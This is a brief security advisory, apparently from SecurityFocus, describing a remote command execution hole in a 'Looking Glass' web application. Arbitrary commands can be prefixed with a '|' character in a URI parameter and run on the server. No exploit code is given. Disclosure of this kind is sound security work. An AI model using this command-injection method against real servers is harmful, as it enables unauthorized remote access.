Looking Glass Remote Command Execution Vulnerabilit

                                                source: http://www.securityfocus.com/bid/14682/info

Looking Glass may be exploited to execute arbitrary commands.

An attacker can prefix arbitrary commands with the &#39;|&#39; character, supply them through a URI parameter and have them executed in the context of the server.

This can facilitate unauthorized remote access.
